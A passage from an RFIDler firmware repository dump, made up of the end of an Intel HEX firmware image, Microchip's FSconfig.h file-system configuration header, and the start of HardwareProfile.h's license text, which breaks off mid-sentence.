:105624000000a7ac0300c014211080000800e003b0
:10563400ffff64a00800e003000000008755410b51
:0456440001006324da
:020000040000fa
:020000041d05d8
:10564800e8ffbd271400bfaf1000beaf21f0a003d4
:105658001800c4af1c00c5af2000c6af00a0023cb4
:10566800dc5642248700429021184000080002249a
:10567800050062100000000000000000211000007a
:10568800a855410b000000001c00c48f2000c58fe6
:105698005bae400f0000000021e8c0031400bf8f7c
:1056a8001000be8f1800bd270800e00300000000ae
:020000040000fa
:020000041d05d8
:1056b8001400c010ffffc824000083800000a780ea
:1056c8000d006010211000000b006754ff006230cd
:1056d8000100a6240b00021101008424000083802d
:1056e8000a006010010042240000c780f8ff67101c
:1056f8002128c000ff006230ff00e7300800e00307
:10570800231047000800e003211000000100a780d3
:1057180021100000ff00e7300800e00323104700d5
:020000040000fa
:020000041d05d8
:10572800202020202057696567616e642070756ca1
:1057380073652077696474683a2025640d0a00004f
:1057480020755320202020202020202020202020c9
:10575800202020202020206761703a2025640d0a2f
:105768000000000020755320202020202020202029
:105778002020202062697420706572696f643a2065
:0857880025642075530d0a0091
:020000040000fa
:020000041d05d8
:10579000d0ffbd272c00bfaf2800b0af3800a22734
:1057a000218080003800a6af1000a42721304000df
:1057b0003c00a7af2400a2afff7f02242000a2afcd
:1057c0001400a0af1000b0af1800b0afc2000224a8
:1057d00026fc400f1c00a2a71000a28f000040a0d2
:1057e0001000a28f231050002c00bf8f2800b08f14
:0857f0000800e0033000bd27b2
:020000040000fa
:020000041d05d8
:1057f800d0ffbd272c00bfaf2800b0af3800a227cc
:10580800218080003800a6af1000a4272130400076
:105818003c00a7af2400a2afff7f02242000a2af64
:105828001400a0af1000b0af1800b0afc20002243f
:1058380036c7400f1c00a2a71000a28f000040a08e
:105848001000a28f231050002c00bf8f2800b08fab
:085858000800e0033000bd2749
:020000040000fa
:020000041d05d8
:105860000000803f000020410000c84200007a4450
:1058700000401c460050c347002474498096184bd2
:1058800020bcbe4c286b6e4ef9021550ec78ad6012
:10589000caf249710000803fcdcccc3d0ad7233cf1
:1058a0006f12833a17b7d138acc52737bd37863565
:1058b00095bfd63377cc2b325f708930ffe6db2e75
:1058c00008e53c1e6042a20d257300000d0a5365d9
:1058d000742054414720747970652066697273742e
:1058e000210d0a000d0a00000d547279696e6720bf
:1058f000504f5420256400000d48697420504f54c7
:105900002025640d0a0000000d0a536574206d6f98
:1059100064756c6174696f6e210d0a000d0a536520
:0c592000742053594e43210d0a00000072
:020000040000fa
:020000041d05d8
:10592c001f00833080180300059d023cf052422476
:10593c00211062000000428c4000a33080bf063c66
:10594c00305ec2ac030060144000032480bf023cf4
:10595c00145e43ac00c0023ce01f422424208200b1
:10596c000220023c00a042342428a20025208500fd
:10597c0080bf023c005e44ac0800e0030000000065
:020000040000fa
:020000041d05d8
:10598c00e0ffbd271c00bfaf1800b1af1400b0afd3
:10599c0000a0113c059d103ca13c1026694f410f05
:1059ac007c6f248e21180202000063808800633013
:1059bc00faff6014ffff03240400431000a0033c13
:1059cc007c6f658c7555410f212040001c00bf8fea
:1059dc001800b18f1400b08f0800e0032000bd2721
:1059ec00e0ffbd271c00bfaf1800b1af1400b0af73
:1059fc0000a0113c059d103ca13c1026694f410fa5
:105a0c00c472248e21180202000063808800633067
:105a1c00faff6014ffff03240400431000a0033cb2
:105a2c00c472658c7555410f212040001c00bf8f3e
:105a3c001800b18f1400b08f0800e0032000bd27c0
:020000040000fa
:020000041d05d8
:105a4c000080013c1200801024308100020081048f
:105a5c0000000000232004009e00052420388770dd
:105a6c002328a7000420e400800084248000882cd4
:105a7c002128a800034204000100083123208800db
:105a8c004020040042220400c04505002520880067
:105a9c00251086000800e003000000000000000054
:020000040000fa
:020000041d05d8
:105aac000200a32c13006014ffffa324d0ffbd271a
:105abc002c00bfaf211080001000a4272128c000ab
:105acc002130e0002000a3af1400a0af1000a2af63
:105adc001800a2afc200022426fc400f1c00a2a793
:105aec001000a38f000060a02c00bf8f0800e00303
:0c5afc003000bd270800e003211000006e
:020000040000fa
:020000041d05d8
:105b08000200a32c13006014ffffa324d0ffbd27bd
:105b18002c00bfaf211080001000a4272128c0004e
:105b28002130e0002000a3af1400a0af1000a2af06
:105b38001800a2afc200022436c7400f1c00a2a75b
:105b48001000a38f000060a02c00bf8f0800e003a6
:0c5b58003000bd270800e0032110000011
:020000040000fa
:020000041d05d8
:105b64000000043ce8ffbd270000842403008010eb
:105b74001400bfaf09f8800000000000000084306a
:105b84000000a530029d083c9082082509f8000118
:105b9400000000000000023c00004224030040100a
:105ba4000000000009f8400000000000f9ff0010a8
:045bb40000000000ed
:020000040000fa
:020000041d05d8
:105bb800006088bf0000000000000000406088bf4f
:105bc800ffff0000609080bf806088bf0000000079
:105bd80000000000c06088bf000000000000000056
:105be800006188bf0000000000000000406188bf1d
:105bf8000000000000000000806188bf0000000075
:045c08000000000098
:020000040000fa
:020000041d05d8
:105c0c00c8ffbd273400bfaf4000a6af4400a7af0c
:105c1c004000a3272400a3af1000a4af1800a4af2a
:105c2c007b4b410f2800a5af2400a68f1000a427a2
:105c3c002800a58f1400a2af2000a2afc10002243f
:105c4c001a04410f1c00a2a73400bf8f0800e00308
:045c5c003800bd2728
:020000040000fa
:020000041d05d8
:105c6000257300000d0a257320616e642068697435
:105c7000203c52455455524e3e20746f20636f6e47
:105c800074696e75652c206f7220616e79206f7457
:105c9000686572206b657920746f2061626f727421
:0c5ca0002e2e2e000d0a00002a0d0a0016
:020000040000fa
:020000041d05d8
:105cac00e8ffbd271400bfaf060080042110800060
:105cbc009356410f000000001400bf8f0800e00352
:105ccc001800bd2742200400010042309356410fba
:105cdc0025208200212040004f45410f2128400003
:0c5cec001400bf8f0800e0031800bd2763
:020000040000fa
:020000041d05d8
:105cf8000000023c00004224050040100000023c65
:105d08000000422403004010059d023c3f00007043
:105d1800059d023c185e422405004010000000006a
:105d2800e8ffbd271400bfaf09f8400000000000dd
:085d38004e57410b0000000072
:020000040000fa
:020000041d05d8
:105d40000000023c00004224050040100000023c1c
:105d50000000422403004010059d023c3f000070fb
:105d6000059d023c185e4224050040100000000022
:105d7000e8ffbd271400bfaf09f840000000000095
:085d80006057410b0000000018
:020000040000fa
:020000041d05d8
:105d88000000023c00004224070040100000023cd2
:105d98000000422405004050059d023c3f00007071
:105da8000800e00300000000059d023c185e422444
:105db800030040100000000009f840000000000047
:085dc8000800e00300000000e8
:020000040000fa
:020000041d05d8
:105dd00000000000000014400000000000003940f6
:105de00000000000008883400000000084d71741b5
:105df0000080e03779c34142176e05b5b5b89344ca
:105e0000f5f93fe9034f3849321d30f9487782529e
:085e10003cbf737fdd4f1565f7
:020000040000fa
:020000041d05d8
:105e180000606041c000000099aa033c81bf023cb9
:105e28005566632430f240ac30f243ac6655033c0f
:105e3800aa99633430f243ac81bf023c01000324c9
:105e480018f643ac81bf023c10f6428c8857410bd0
:045e58000000000046
:020000040000fa
:020000041d05d8
:105e5c00000083800d00601021108000211880004c
:105e6c000100632400006680feffc054010063241f
:105e7c000100a524ffffa68001006324fcffc014d1
:105e8c00ffff66a00800e003000000009f57410bd5
:045e9c002118800049
:020000040000fa
:020000041d05d8
:105ea00025325825345800002530336425303564b8
:105eb00000000000253033640000000025303278f7
:105ec00000000000253035640000000025303478e3
:105ed000000000003144353535393535353536006b
:105ee00031410000253258253458000025303364f4
:105ef00025303564000000002530336400000000c8
:105f000025303278000000002530356400000000a4
:105f10002530347800000000303131443800000072
:020000040000fa
:020000041d05d8
:105f2000801004000021040023208200059d023c13
:105f300074834224212044000800838c0000828c5a
:105f40000700062404186600040043ac0800838c94
:105f500004286500080045ac0800e00300000000cc
:020000040000fa
:020000041d05d8
:105f6000801004000021040023208200059d023cd3
:105f700074834224212044000400838c0000828c1e
:105f80000300062404186600040043ac0400838c5c
:105f900004286500080045ac0800e003000000008c
:020000040000fa
:020000041d05d8
:105fa000801004000021040023208200059d023c93
:105fb000b85b4224212044000000838c0800828cbe
:105fc000080065ac04004010000000000400838c51
:105fd0002428a300080045ac0800e00300000000ee
:020000040000fa
:020000041d05d8
:105fe000801004000021040023208200059d023c53
:105ff000b85b4224212044000000838c0800828c7e
:10600000040065ac04004010000000000400838c14
:106010002428a300080045ac0800e00300000000ad
:020000040000fa
:020000041d05d8
:106020000900c01021108000200002242310460027
:10603000070040180620c400041045000618c500db
:106040000800e003251044000800e0032118a00028
:1060500023100200211800000800e003061045008c
:106060000900c010211080002000032423186600be
:10607000070060180428c500061864000410c40056
:106080000800e003251865000800e0032118a000bf
:1060900023180300211000000800e0030418640026
:020000040000fa
:020000041d05d8
:1060a000801004000021040023208200049d023c93
:1060b000587e4224212044000400828c0400a01455
:1060c0000800838c040043ac0800e00300000000db
:0c60d000080043ac0800e00300000000e2
:020000040000fa
:020000041d05d8
:1060dc00e8ffbd271400bfaf00e0827c00e0a57c88
:1060ec000340042481bf033c20f462ac81bf023c1a
:1060fc0040f445ace34e410f000000001400bf8f8c
:08610c000800e0031800bd27a4
:020000040000fa
:020000041d05d8
:106114002110000021180000059d073cac3fe72436
:106124002000062406286400ff00a5302128e5008d
:106134000000a59008006324faff661421104500ae
:086144000800e0030000000068
:020000040000fa
:020000041d05d8
:10614c00e8ffbd271400bfaf006803408000023c8d
:10615c0025106200006882400010032488bf023cb6
:10616c00c359410f081043ac1400bf8f0800e00363
:04617c001800bd2723
:020000040000fa
:020000041d05d8
:10618000006803408000023c2510620000688240e5
:10619000040080100010032488bf023c0800e003c4
:1061a000041043ac88bf023c0800e003081043ac75
:020000040000fa
:020000041d05d8
:1061b000801004000021040023208200059d023c81
:1061c00074834224212044000000838c0800828cc8
:1061d0000000638c061043000800e0030700423013
:020000040000fa
:020000041d05d8
:1061e000801004000021040023208200059d023c51
:1061f00074834224212044000000838c0400828c9c
:106200000000638c061043000800e00303004230e6
:020000040000fa
:020000041d05d8
:10621000801004000021040023208200049d023c21
:10622000587e4224212044000000828c0800838c88
:0c623000040043ac0800e0030000000084
:020000040000fa
:020000041d05d8
:10623c00801004000021040023208200049d023cf5
:10624c00587e4224212044000000828c0800838c5c
:0c625c00080043ac0800e0030000000054
:020000040000fa
:020000041d05d8
:10626800801004000021040023208200049d023cc9
:10627800587e4224212044000000838c0800828c30
:0c6288000000638c0800e003241062009a
:020000040000fa
:020000041d05d8
:10629400801004000021040023208200049d023c9d
:1062a400587e4224212044000400838c0800828c00
:0c62b4000000638c0800e003241062006e
:020000040000fa
:020000041d05d8
:1062c000e8ffbd271400bfaf00e0837c0440042436
:1062d00081bf023c20f443ace34e410f00000000bc
:0c62e0001400bf8f0800e0031800bd2769
:020000040000fa
:020000041d05d8
:1062ec00801004000021040023208200059d023c44
:1062fc00b85b4224212044000000828c080045ac8d
:0c630c00240045ac0800e0030000000085
:020000040000fa
:020000041d05d8
:10631800ca58410b202c057c06004010010084243b
:1063280000008280fcff4514000000000800e00324
:0c633800211080000800e003211000008c
:020000040000fa
:020000041d05d8
:10634400e0ffbd271c00bfaf2c00a2272c00a7af85
:1063540021384000ab56410f1000a2af1c00bf8f84
:086364000800e0032000bd2742
:020000040000fa
:020000041d05d8
:10636c00e0ffbd271c00bfaf2c00a2272c00a7af5d
:10637c0021384000c256410f1000a2af1c00bf8f45
:08638c000800e0032000bd271a
:020000040000fa
:020000041d05d8
:10639400e8ffbd271400bfaf0139410f0000000022
:1063a400212040002b50410f212860001400bf8f92
:0863b4000800e0031800bd27fa
:020000040000fa
:020000041d05d8
:1063bc00059d023ca13c4224211082000000429029
:1063cc0020008324010042300b2062000800e0030f
:0463dc00211080000c
:020000040000fa
:020000041d05d8
:1063e000059d023ca13c4224211082000000429005
:1063f000e0ff8324020042300b2062000800e0032b
:0464000021108000e7
:020000040000fa
:020000041d05d8
:1064040044656275672070696e2025643a20000037
:106414004f4646004f4e000025730d0a0000000051
:106424000d0a50756c73653a202564200000000045
:106434004761703a20256400257300000d0a0000ae
:020000040000fa
:020000041d05d8
:1064440080bf033c105e628c01004230fdff4010af
:1064540080bf023c205e428c0800e0030000000084
:020000040000fa
:020000041d05d8
:106464000d0a436c6f636b206465746563746564c3
:0c6474003a20256c6420487a0d0a0000d4
:020000040000fa
:020000041d05d8
:106480000100843003008014000000000800e003d5
:0c649000006060410800e00320606041f3
:020000040000fa
:020000041d05d8
:10649c0000a0023cc87244accc7240ac0100032496
:0c64ac0000a0023c0800e003d07243a0f6
:020000040000fa
:020000041d05d8
:1064b800e8ffbd271400bfaf0139410f00000000fd
:0c64c8001400bf8f0800e0031800bd277f
:020000040000fa
:020000041d05d8
:1064d400e8ffbd271400bfafbd3c410f0000000022
:0c64e4001400bf8f0800e0031800bd2763
:020000040000fa
:020000041d05d8
:1064f000e8ffbd271400bfafbd3c410f0000000006
:0c6500001400bf8f0800e0031800bd2746
:020000040000fa
:020000041d05d8
:10650c000080013c2628a100251004002518050058
:0c651c000800e003000000000000000088
:020000040000fa
:020000041d05d8
:106528002530325800000000253032580d0a00008e
:08653800257300000d0a0000ac
:020000040000fa
:020000041d05d8
:1065400000800340f8ff022424106200020042345d
:086550000800e0030080824016
:020000040000fa
:020000041d05d8
:1065580000800340f8ff0224241062000300423444
:086568000800e00300808240fe
:020000040000fa
:020000041d05d8
:1065700000601a40bfff1b3cffff7b3724d05b034a
:0865800000609a40180000427f
:020000040000fa
:020000041d05d8
:10658800059d023ca13c4224212044000000829049
:086598000800e0030700423097
:020000040000fa
:020000041d05d8
:1065a000059d023ca13c4224212044000000829031
:0865b0000800e0030300423083
:020000040000fa
:020000041d05d8
:1065b800059d023ca13c4224212044000000829019
:0865c8000800e003200042304e
:020000040000fa
:020000041d05d8
:1065d000059d023ca13c4224212044000000829001
:0865e0000800e0030400423052
:020000040000fa
:020000041d05d8
:1065e800059d023ca13c42242120440000008290e9
:0865f8000800e0031700423027
:020000040000fa
:020000041d05d8
:10660000059d023ca13c42242120440000008290d0
:086610000800e0030200423023
:020000040000fa
:020000041d05d8
:10661800059d023ca13c42242120440000008280c8
:086628000800e0039700423076
:020000040000fa
:020000041d05d8
:10663000059d023ca13c42242120440000008290a0
:086640000800e00310004230e5
:020000040000fa
:020000041d05d8
:10664800059d023ca13c4224212044000000828098
:086658000800e0038800423055
:020000040000fa
:020000041d05d8
:10666000059d023ca13c4224212044000000829070
:086670000800e00301004230c4
:020000040000fa
:020000041d05d8
:10667800059d023ca13c4224212044000000829058
:086688000800e0034400423069
:020000040000fa
:020000041d05d8
:106690000000a0400000c84100401c4420bcbe488f
:1066a000ca1b0e52aec59d6400000000005e80bf94
:0c66b000005a80bf005880bf005c80bf13
:020000040000fa
:020000041d05d8
:1066bc000080013c261081000800e003000000006f
:0466cc0000000000ca
:020000040000fa
:020000041d05d8
:1066d000d7237fce8cd037a95749c1e648008ab668
:1066e0002530347500000000253031326c6c7500a7
:1066f0002530347500000000253031326c6c750097
:0c6700002e002e00000000002e2e0000d5
:020000040000fa
:020000041d05d8
:08670c000800e0032060624177
:020000040000fa
:020000041d05d8
:086714000800e003006062418f
:020000040000fa
:020000041d05d8
:08671c000800e003000000008a
:020000040000fa
:020000041d05d8
:086724000800e0030000000082
:020000040000fa
:020000041d05d8
:08672c000800e0038000822c4c
:020000040000fa
:020000041d05d8
:086734000800e0037f00823041
:020000040000fa
:020000041d05d8
:08673c000800e00320008224a4
:020000040000fa
:020000041d05d8
:086744000800e003e0ff8224dd
:00000001FF
================================================
FILE: firmware/Pic32/RFIDler.X/include/FSconfig.h
================================================
/******************************************************************************
*
* Microchip Memory Disk Drive File System
*
******************************************************************************
* FileName: FSconfig.h
* Processor: PIC18/PIC24/dsPIC30/dsPIC33/PIC32
* Dependencies: None
* Compiler: C18/C30/C32
* Company: Microchip Technology, Inc.
* Version: 1.3.0
*
* Software License Agreement
*
* The software supplied herewith by Microchip Technology Incorporated
* (the Company) for its PICmicro Microcontroller is intended and
* supplied to you, the Companys customer, for use solely and
* exclusively on Microchip PICmicro Microcontroller products. The
* software is owned by the Company and/or its supplier, and is
* protected under applicable copyright laws. All rights are reserved.
* Any use in violation of the foregoing restrictions may subject the
* user to criminal sanctions under applicable laws, as well as to
* civil liability for the breach of the terms and conditions of this
* license.
*
* THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,
* WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED
* TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,
* IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR
* CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.
*
*****************************************************************************/
#ifndef _FS_DEF_
#include "Compiler.h"
#include "HardwareProfile.h"
// Summary: A macro indicating whether Long File Name is supported
// Description: If this macro is disabled then only 8.3 format file name is enabled.
// If this macro is enabled then long file names upto 256 characters are
// supported.
#define SUPPORT_LFN
// Summary: A macro indicating the maximum number of concurrently open files
// Description: The FS_MAX_FILES_OPEN #define is only applicable when dynamic memory allocation is not used (FS_DYNAMIC_MEM is not defined).
// This macro defines the maximum number of open files at any given time. The amount of RAM used by FSFILE objects will
// be equal to the size of an FSFILE object multipled by this macro value. This value should be kept as small as possible
// as dictated by the application. This will reduce memory usage.
#define FS_MAX_FILES_OPEN 3
// Summary: A macro defining the size of a sector
// Description: The MEDIA_SECTOR_SIZE macro will define the size of a sector on the FAT file system. This value must equal 512 bytes,
// 1024 bytes, 2048 bytes, or 4096 bytes. The value of a sector will usually be 512 bytes.
#define MEDIA_SECTOR_SIZE 512
/* *******************************************************************************************************/
/************** Compiler options to enable/Disable Features based on user's application ******************/
/* *******************************************************************************************************/
// Summary: A macro to enable/disable file search functions.
// Description: The ALLOW_FILESEARCH definition can be commented out to disable file search functions in the library. This will
// prevent the use of the FindFirst and FindNext functions and reduce code size.
#define ALLOW_FILESEARCH
// Summary: A macro to enable/disable write functionality
// Description: The ALLOW_WRITES definition can be commented out to disable all operations that write to the device. This will
// greatly reduce code size.
#define ALLOW_WRITES
// Summary: A macro to enable/disable format functionality
// Description: The ALLOW_FORMATS definition can be commented out to disable formatting functionality. This will prevent the use of
// the FSformat function. If formats are enabled, write operations must also be enabled by uncommenting ALLOW_WRITES.
#define ALLOW_FORMATS
// Summary: A macro to enable/disable directory operations.
// Description: The ALLOW_DIRS definition can be commented out to disable all directory functionality. This will reduce code size.
// If directories are enabled, write operations must also be enabled by uncommenting ALLOW_WRITES in order to use
// the FSmkdir or FSrmdir functions.
#define ALLOW_DIRS
// Summary: A macro to enable/disable PIC18 ROM functions.
// Description: The ALLOW_PGMFUNCTIONS definition can be commented out to disable all PIC18 functions that allow the user to pass string
// arguments in ROM (denoted by the suffix -pgm). Note that this functionality must be disabled when not using PIC18.
//#define ALLOW_PGMFUNCTIONS
// Summary: A macro to enable/disable the FSfprintf function.
// Description: The ALLOW_FSFPRINTF definition can be commented out to disable the FSfprintf function. This will save code space. Note that
// if FSfprintf is enabled and the PIC18 architecture is used, integer promotions must be enabled in the Project->Build Options
// menu. Write operations must be enabled to use FSfprintf.
//#define ALLOW_FSFPRINTF
// Summary: A macro to enable/disable FAT32 support.
// Description: The SUPPORT_FAT32 definition can be commented out to disable support for FAT32 functionality. This will save a small amount
// of code space.
#define SUPPORT_FAT32
/**************************************************************************************************/
// Select a method for updating file timestamps
/**************************************************************************************************/
// Summary: A macro to enable RTCC based timestamp generation
// Description: The USEREALTIMECLOCK macro will configure the code to automatically
// generate timestamp information for files from the RTCC module. The user
// must enable and configure the RTCC module before creating or modifying
// files.
#define USEREALTIMECLOCK
// Summary: A macro to enable manual timestamp generation
// Description: The USERDEFINEDCLOCK macro will allow the user to manually set
// timestamp information using the SetClockVars function. The user will
// need to set the time variables immediately before creating or closing a
// file or directory.
//#define USERDEFINEDCLOCK
// Summary: A macro to enable don't-care timestamp generation
// Description: The INCREMENTTIMESTAMP macro will set the create time of a file to a
// static value and increment it when a file is updated. This timestamp
// generation method should only be used in applications where file times
// are not necessary.
//#define INCREMENTTIMESTAMP
#ifdef __18CXX
#ifdef USEREALTIMECLOCK
#error The PIC18 architecture does not have a Real-time clock and calander module
#endif
#endif
#ifdef ALLOW_PGMFUNCTIONS
#ifndef __18CXX
#error The pgm functions are unneccessary when not using PIC18
#endif
#endif
#ifndef USEREALTIMECLOCK
#ifndef USERDEFINEDCLOCK
#ifndef INCREMENTTIMESTAMP
#error Please enable USEREALTIMECLOCK, USERDEFINEDCLOCK, or INCREMENTTIMESTAMP
#endif
#endif
#endif
/************************************************************************/
// Set this preprocessor option to '1' to use dynamic FSFILE object allocation. It will
// be necessary to allocate a heap when dynamically allocating FSFILE objects.
// Set this option to '0' to use static FSFILE object allocation.
/************************************************************************/
#if 0
// Summary: A macro indicating that FSFILE objects will be allocated dynamically
// Description: The FS_DYNAMIC_MEM macro will cause FSFILE objects to be allocated from a dynamic heap. If it is undefined,
// the file objects will be allocated using a static array.
#define FS_DYNAMIC_MEM
#ifdef __18CXX
// Description: Function pointer to a dynamic memory allocation function
#define FS_malloc SRAMalloc
// Description: Function pointer to a dynamic memory free function
#define FS_free SRAMfree
#else
#define FS_malloc malloc
#define FS_free free
#endif
#endif
// Function definitions
// Associate the physical layer functions with the correct physical layer
#ifdef USE_SD_INTERFACE_WITH_SPI // SD-SPI.c and .h
// Description: Function pointer to the Media Initialize Physical Layer function
#define MDD_MediaInitialize MDD_SDSPI_MediaInitialize
// Description: Function pointer to the Media Detect Physical Layer function
#define MDD_MediaDetect MDD_SDSPI_MediaDetect
// Description: Function pointer to the Sector Read Physical Layer function
#define MDD_SectorRead MDD_SDSPI_SectorRead
// Description: Function pointer to the Sector Write Physical Layer function
#define MDD_SectorWrite MDD_SDSPI_SectorWrite
// Description: Function pointer to the I/O Initialization Physical Layer function
#define MDD_InitIO MDD_SDSPI_InitIO
// Description: Function pointer to the Media Shutdown Physical Layer function
#define MDD_ShutdownMedia MDD_SDSPI_ShutdownMedia
// Description: Function pointer to the Write Protect Check Physical Layer function
#define MDD_WriteProtectState MDD_SDSPI_WriteProtectState
// Description: Function pointer to the Read Capacity Physical Layer function
#define MDD_ReadCapacity MDD_SDSPI_ReadCapacity
// Description: Function pointer to the Read Sector Size Physical Layer Function
#define MDD_ReadSectorSize MDD_SDSPI_ReadSectorSize
#elif defined USE_CF_INTERFACE_WITH_PMP // CF-PMP.c and .h
// Description: Function pointer to the Media Initialize Physical Layer function
#define MDD_MediaInitialize MDD_CFPMP_MediaInitialize
// Description: Function pointer to the Media Detect Physical Layer function
#define MDD_MediaDetect MDD_CFPMP_MediaDetect
// Description: Function pointer to the Sector Read Physical Layer function
#define MDD_SectorRead MDD_CFPMP_SectorRead
// Description: Function pointer to the Sector Write Physical Layer function
#define MDD_SectorWrite MDD_CFPMP_SectorWrite
// Description: Function pointer to the I/O Initialization Physical Layer function
#define MDD_InitIO MDD_CFPMP_InitIO
// Description: Function pointer to the Media Shutdown Physical Layer function
#define MDD_ShutdownMedia MDD_CFPMP_ShutdownMedia
// Description: Function pointer to the Write Protect Check Physical Layer function
#define MDD_WriteProtectState MDD_CFPMP_WriteProtectState
// Description: Function pointer to the CompactFlash Wait Physical Layer function
#define MDD_CFwait MDD_CFPMP_CFwait
// Description: Function pointer to the CompactFlash Write Physical Layer function
#define MDD_CFwrite MDD_CFPMP_CFwrite
// Description: Function pointer to the CompactFlash Read Physical Layer function
#define MDD_CFread MDD_CFPMP_CFread
#elif defined USE_MANUAL_CF_INTERFACE // CF-Bit transaction.c and .h
// Description: Function pointer to the Media Initialize Physical Layer function
#define MDD_MediaInitialize MDD_CFBT_MediaInitialize
// Description: Function pointer to the Media Detect Physical Layer function
#define MDD_MediaDetect MDD_CFBT_MediaDetect
// Description: Function pointer to the Sector Read Physical Layer function
#define MDD_SectorRead MDD_CFBT_SectorRead
// Description: Function pointer to the Sector Write Physical Layer function
#define MDD_SectorWrite MDD_CFBT_SectorWrite
// Description: Function pointer to the I/O Initialization Physical Layer function
#define MDD_InitIO MDD_CFBT_InitIO
// Description: Function pointer to the Media Shutdown Physical Layer function
#define MDD_ShutdownMedia MDD_CFBT_ShutdownMedia
// Description: Function pointer to the Write Protect Check Physical Layer function
#define MDD_WriteProtectState MDD_CFBT_WriteProtectState
// Description: Function pointer to the CompactFlash Wait Physical Layer function
#define MDD_CFwait MDD_CFBT_CFwait
// Description: Function pointer to the CompactFlash Write Physical Layer function
#define MDD_CFwrite MDD_CFBT_CFwrite
// Description: Function pointer to the CompactFlash Read Physical Layer function
#define MDD_CFread MDD_CFBT_CFread
#elif defined USE_USB_INTERFACE // USB host MSD library
// Description: Function pointer to the Media Initialize Physical Layer function
#define MDD_MediaInitialize USBHostMSDSCSIMediaInitialize
// Description: Function pointer to the Media Detect Physical Layer function
#define MDD_MediaDetect USBHostMSDSCSIMediaDetect
// Description: Function pointer to the Sector Read Physical Layer function
#define MDD_SectorRead USBHostMSDSCSISectorRead
// Description: Function pointer to the Sector Write Physical Layer function
#define MDD_SectorWrite USBHostMSDSCSISectorWrite
// Description: Function pointer to the I/O Initialization Physical Layer function
#define MDD_InitIO();
// Description: Function pointer to the Media Shutdown Physical Layer function
#define MDD_ShutdownMedia USBHostMSDSCSIMediaReset
// Description: Function pointer to the Write Protect Check Physical Layer function
#define MDD_WriteProtectState USBHostMSDSCSIWriteProtectState
#endif
#endif
================================================
FILE: firmware/Pic32/RFIDler.X/include/HardwareProfile.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
